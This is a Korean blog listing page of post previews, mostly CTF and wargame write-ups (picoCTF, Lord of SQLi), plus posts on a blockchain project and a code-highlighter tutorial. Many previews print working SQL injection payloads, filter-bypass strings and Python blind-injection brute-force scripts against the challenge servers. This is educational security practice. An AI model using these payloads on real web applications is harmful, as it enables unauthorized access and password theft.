본문 바로가기

call printf

[picoCTF] assembly-0 이 문제는 어셈블리어를 얼마나 이해를 하느냐를 묻는 문제이다. intel_syntax noprefix.bits 32.global asm0asm0:push ebpmov ebp,espmov eax,DWORD PTR [ebp+0x8]mov ebx,DWORD PTR [ebp+0xc]mov eax,ebxmov esp,ebppop ebpret ebp + 0x8 = argv[1]ebp + 0xc = argv[2] mov eax, ebx로 ebx 값을 eax에 넣는것을 볼 수 있다. eax는 리턴값이다. 더보기
[picoCTF] admin panel 이 문제는 포렌식 문제로서 패킷을 분석하는 문제이다.허나 문제에서 트래픽을 캡쳐했고 어드민 패널에 로그인을 한 패킷이라고 한다.그렇다면 http 프로토콜로 찾으면 쉽게 필터를 할 수 있을 것이라 추측하였다. 수 많은 패킷 중에서 유일하게 통신하는 것들만 남았다. POST 메소드로 login에 패킷을 쏜것을 발견할 수 있다. 플래그를 얻을 수 있었다. 더보기
[picoCTF] A Simple Question 이 문제는 blind injection 기법으로 answer의 값을 가져와 인증을 하면 되는 문제이다. 먼저 길이는 아래의 쿼리로 가져올 수 있다. a' or length(answer)=5 -- - 코드를 작성하여 편하게 가져왔다. import requestsimport jsonlength = 0url = 'http://2018shell3.picoctf.com:2644/answer2.php';headers = {'User-Agent': 'Mozilla/5.0'}for i in range(1, 50):param = {'answer' : "a' or length(answer)=" + str(i) + " -- -", 'debug':0}rs = requests.post(url, data=param ,header.. 더보기
[LOS1] umaru 이 문제는 flag를 알아내면 되는 문제이다.허나 실제 플래그와 입력한 플래그가 틀린다면 리셋을 해버린다. $new_flag = substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16); ㅇㅇ;; update문을 에러를 띄워서 찾아내면 대는거시다.그렇다면 update문은 실제로 실행이 되지 않고 리셋이 되지 않는것이다. 하지만 맞는지 안맞는지를 어떻게 알아야할지가 문제였다. 방법은 sleep을 통해 리퀘스트 받은 시간으로 하면 대는거시여따.sleep(0) 일 경우 select 1 union select 2를 이용하여 에러를 띄워주는 식인것이다.맞으면 sleep(3)이 되어 실행.. 더보기
[LOS1] black_eyes 이 문제는 if문이 막혀있었다.그래서 검색을 해보니 union으로 거짓일 경우와 참일 경우를 비교하는 방법을 찾아냈다. 이것을 이용해서 이전 문제와 비슷하게 풀어냈다. import requests url = "https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php"headers = {'User-Agent': 'Mozilla/5.0'}cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'} '''?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20length(pw)=8%20union%20select%201)--%20-''' length = 0 for i.. 더보기
[LOS1] iron_golem 이 문제는 애들한테 말로만 듣던 에러 기반 블라인드 인젝션 문제임을 파악할 수 있었다. 그저 쿼터 하나 넣었는데 에러가 뜨길래 파악을 할 수 있었다. select * from table where 1 and if(1=1,1,(select 1 union select 2)) select * from table where 1 and if(1=2,1,(select 1 union select 2)) 첫번째 예제는 if 절이 1=1 로 참이 되면서 단순히 1을 반환한다. 두번째 예제는 if 절이 거짓이 되면서 select 1 union select 2 라는 쿼리를 실행하게 되고, 서브쿼리에서 복수의 값을 반환하면서 에러가 발생하게 된다. (thx to hellsonic) http://hackerschool.org/.. 더보기
[LOS1] dragon 이 문제는 우리는 pw를 입력하지만 앞에서 주석처리가 되어있었다;;뭐 줄넘김 같은게 되지 않을까해서 \n을 넣어보고 했는데 %0a가 있음을 깨달았다. ?pw=qwer%27%20%0a%20and%20pw=%27%27%20or%20id=%27admin 더보기
[LOS1] xavis 이 문제는 정말 좋은 경험을 했다고 생각한다. ?pw=1234%27%20or%20id=%27admin%27%20%20and%20length(pw)=40%23 40글자라고 해서 좀 놀랐다. 허나 ascii(substr(pw,1,1)) 로 돌려보자 모든 값들이 0으로 나오는 것을 보고 유니코드임을 파악할 수 있었다. 유니코드는 4바이트로서 40/4를 하여 총 10글자임을 알 수 있었다. 유니코드는 ord 함수를 이용하여 뽑아내었따 import requests url = "https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php"headers = {'User-Agent': 'Mozilla/5.0'}cookies = {'PHPSESSID':'2.. 더보기
[LOS1] nightmare 이 문제는 mysql 에서 문자열은 0이 된다. ?pw=%27)=0;%00 0=0은 true이기에 조건이 맞아서 출력이 댄다.SELECT 'a' = 0 — TRUESELECT 'abc' = 0 — TRUE SELECT '1' = 0 — FALSESELECT '123' = 0 — FALSE SELECT 'x1' = 0 — TRUE SELECT '1x' = 0 — FALSE SELECT '1x' = 1 — TRUE SELECT '12x1' = 0 — FALSESELECT '12x1' = 121 — FALSESELECT '12x1' = 12 — TRUE 더보기
[LOS1] succubus 이 문제는 싱글쿼터를 못 넣는다...허나 생각해보니 저 쿼터를 문자열로 인식하게 되면 대는거시다. 그리고 무조건 True로 만들어서 아무 아이디나 뜨게 하면 되는거시다. ?id=\&pw=%20||%201=1%20%23 더보기
[LOS1] zombie_assassin 이 문제는 싱글 쿼터를 사용못하게 막아두었다.하지만 ereg에 널값을 주게 되면 싱글쿼터를 사용할 수 있다. ?id=%00%27%20%7C%7Cid="admin"%20%20%23 더보기
[LOS1] assessin like에는 % 정규식 비슷한게 있다. https://www.w3schools.com/sql/sql_like.asp 이 문제는 조금 당황스러운 문제였다.아무리해도 어드민이 뜨지 않는 것이다. 그래서 혹시 어드민과 게스트의 비밀번호가 비슷한게 아닐까 라는 생각을 하게 되었다. import requests url = "https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php" headers = {'User-Agent': 'Mozilla/5.0'} cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'} strs = "8_" for i in range(8): for c in range(48,125):.. 더보기
[LOS1] giant 이 문제는 좀 신기했다.실제에서도 이런 일이 생기는걸까?무슨 의도가 있는지 나는 잘 모르겠다. 그냥 사이에 공백을 만들어줘서 풀었다. ?shit=%0b 더보기
[LOS1] bugbear 이 문제는 like가 막혀있으므로 in을 이용하여 풀면 된다. ?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dlength(pw)%0din%0d(8) ?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw,1),1))%0din%0d(%22a%22) import requests url = "https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php" headers = {'User-Agent': 'Mozilla/5.0'} cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'} ''' .. 더보기
[LOS1] darkknight ?pw=1&no=1%20%7C%7C%20id%20like%20%22admin%22%20%26%26length(pw)%20like%208 ?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,1),1)%20like%20”a” import requests headers = {'User-Agent': 'Mozilla/5.0'} cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'} url = "https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php" ''' ?pw=1&no=1%20||%20id%20like%20%22admin%22%2.. 더보기
[LOS1] golem 이 문제는 pw 가 실제 pw와 같아야한다.이 역시 블라인드 인젝션으로 풀었다. ?pw=1234%27%7C%7Cid%20like%20%27admin%27%20%26%26%20length(pw)%20like%208%23 아마 이 문제 자바 수업때 안듣고 풀었던것 같은데 언제 풀었는지 기억이 안난다.스크립트가 에버노트에 있는거보면 수업시간때 푼것 같다. import requests url = "https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php" headers = {'User-Agent': 'Mozilla/5.0'} cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'} ''' ?pw=1234%2.. 더보기
[LOS1] skelleton 아이디만 바꾸면 대는 문제였다. ?pw=1234%27%20or%20id=%27admin%27%20%23%20 더보기
[LOS1] vampire 사실 이 문제는 아마도 aadmindmin 을 의도한 것 같지만 나는 그냥 대문자로 풀었다. 더보기
[LOS1] troll 입력한 값이 admin일 경우 hehe를 띄운다 대문자를 이용하여 풀면 댄다. 더보기
[LOS1] orge 이것도 실제 pw 와 입력한 pw가 맞아야 풀리는 문제이기에 블라인드 인젝션을 이용하였다. 먼저 길이부터 파악했다. ?pw=1234%27%0d||id=%27admin%27%20%26%26%20length(pw)=8%0d--%20- 스크립트를 랩실에 있고 현재는 집에 있어서 걍 저걸로 올림 ㅎㅎ; ?pw=1234%27%0d||%0did=%27admin%27%0d%26%26%0dascii(substr(pw,1,1))%3E0%0d--%20- 이 또한 스크립트가 랩실에 있다 ㅎ 아무튼 하나하나 뽑아서 풀었다. 더보기
[LOS1] darkelf 이 문제는 전의 문제와 비슷한 방법으로 풀지만 or과 and가 막혀따 하지만 || 으로 대신하여 우회가 가능하다. ?pw=1234%27%20||%20id=%27admin%27%20%20%23 더보기
[LOS1] wolfman 이 문제는 아이디를 admin으로 바꾸면 된다. pw를 아무거나 입력하고 뒤에 id=admin 이 실행되게 하면 되겠다. ?pw=123412312312%27%0dor%0did=%27admin%27%0d%23 더보기
[LOS1] orc pw가 실제 pw가 맞는지 체크한다.블라인드 인젝션 문제였다. 먼저 길이를 파악하기 위해 아래의 코드를 ㅇㅣ용햇다 import requests url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php" headers = {'User-Agent': 'Mozilla/5.0'} cookies = {'PHPSESSID':'qfr7dlp9t9g1nat81riiigb065'} for i in range(20): rs = requests.get(url + "?pw=1234' || id='admin' and length(pw)="+str(i) + " -- -", headers=headers, cookies=cookies) text = rs.t.. 더보기
[LOS1] goblin id를 어드민으로 만들면 댄다. and 연산이 먼저니까,,,0 으로 만들고 or로 뒤에 코드를 실행시키면 되시겟다! ?no=1 로 주면 게스트라고 뿌려준다. 없을 것 같은 값을 넣어서 아무 값도 안뿌려주면 없다는거시겠지,,,! 싱글쿼터랑 더블쿼터는 막혀있어서 char로 우회해줬다. ?no=112302130131290123||id=char(97,100,109,105,110) 더보기
[LOS1] cobolt 이번 문제는 id가 admin이여야 풀림 개 멍청하게 연산자 우선 순위 생각 안해서 삽질을 했다. ?id=admin%27%20and%20pw=%271234551231%27%20or%20%271%27=%271%27%20--%20- 연산자 우선 순위 생각을 못하고 저렇게 작성했다...ㅠㅠㅠand 먼저 연산되고 그 뒤에 or 이 되는데 ㅠㅠㅠㅠㅠ왜 or 먼저 된다고 생각했는지 원... ?id=admin%27%20and%20(pw=%271234551231%27%20or%20%271%27=%271%27)%20--%20- 더보기
[LOS1] gremlin 이 문제는 아이디가 걍 로그인만 되면 풀림 ?id=hubeen&pw=1234%27%20or%201=1--%20- ' 로 싱글 쿼터 닫아주고 or 로 1=1 -- - 로 주석처리해서 풀음~ 더보기
g-coin 분석(2) 안녕하세요. 저는 공주대학교 컴퓨터공학부 컴퓨터소프트웨어전공 17학번 문승현입니다. 현재 블록체인 기술에 대해 공부를 하여 공부한 내용을 정리하고자 게시글을 작성하였습니다. 미리 읽어주시는 분들께 감사하며 잘못된 지식이 있을 경우 마음 편하게 피드백주시면 감사하겠습니다. g-coin 분석(0) : http://blog.hubeen.kr/337g-coin 분석(1) : http://blog.hubeen.kr/339 벌써 분석(2)라니 뿌듯함을 감출 수 없습니다!!! 오늘 게시글에서는 실제로 서버에서 소스코드를 작동을 시켜 사용을 해볼 예정입니다. 저는 골빈님께서 올려주신 Insomnia라는 툴을 사용하지 않고 포스트맨이라는 툴을 사용하였습니다. 서버 구동 python3 app.py --port 5000 위.. 더보기
g-coin 분석(1) 안녕하세요. 저는 공주대학교 컴퓨터공학부 컴퓨터소프트웨어전공 17학번 문승현입니다. 현재 블록체인 기술에 대해 공부를 하여 공부한 내용을 정리하고자 게시글을 작성하였습니다. 미리 읽어주시는 분들께 감사하며 잘못된 지식이 있을 경우 마음 편하게 피드백주시면 감사하겠습니다. g-coin 분석(0) : g-coin 분석(0) 이전 게시글의 분석글을 위의 링크로 보실 수 있습니다.이제 이전 분석을 이어가보도록 하겠습니다. 분석 남은 blockchain.py, miner.py, node.py, proof.py 는 현재 게시글에서 정리를 이어가도록 하겠습니다. proof.py import hashlib import gcoin.config as cfg def valid_proof(block, proof=None): .. 더보기
g-coin 분석(0) 안녕하세요. 저는 공주대학교 컴퓨터공학부 컴퓨터소프트웨어전공 17학번 문승현입니다. 현재 블록체인 기술에 대해 공부를 하여 공부한 내용을 정리하고자 게시글을 작성하였습니다. 미리 읽어주시는 분들께 감사하며 잘못된 지식이 있을 경우 마음 편하게 피드백주시면 감사하겠습니다. 먼저 제가 깃허브를 돌아다니다 괜찮은 자료를 발견하여 분석을 시작한 코인의 깃허브 주소입니다. https://github.com/golbin/g-coin 먼저 다운받게 되면 위와 같이 파일들이 있습니다. golbin- app.py- gcoin - blockchain.py - block.py - book.py - config.py - miner.py - node.py - proof.py - __pycache__ - requirements... 더보기
티스토리에 코드 하이라이트(Syntax Highlighter)를 적용하기 글을 작성하게 된 계기 이번에 블록체인 글을 작성하면서 처음으로 게시글 공유가 5개가 넘어가는 멋진 일이 일어나며 좋은 피드백을 받게 되어 작성하게 되었습니다. 적용하는데는 큰 어려움이 없으므로 많으신 분들이 이 게시글을 보고 도움이 되었으면 좋겠습니다. 게시글을 보시며 어려움이 생기신다면 언제든지 댓글을 남겨주시면 글을 더 쉬운 방향으로 수정하도록 하겠습니다. 코드 하이라이트(Syntax Highlighter) 다운로드먼저 사용을 하시려면 코드 하이라이트(Syntax Highlighter)를 다운받아야겠죠? 다운은 아래의 링크에서 받으시면 됩니다! 다운로드 링크 : https://github.com/syntaxhighlighter/syntaxhighlighter 여기까지 따라오셨나요? 그렇다면 다음 차.. 더보기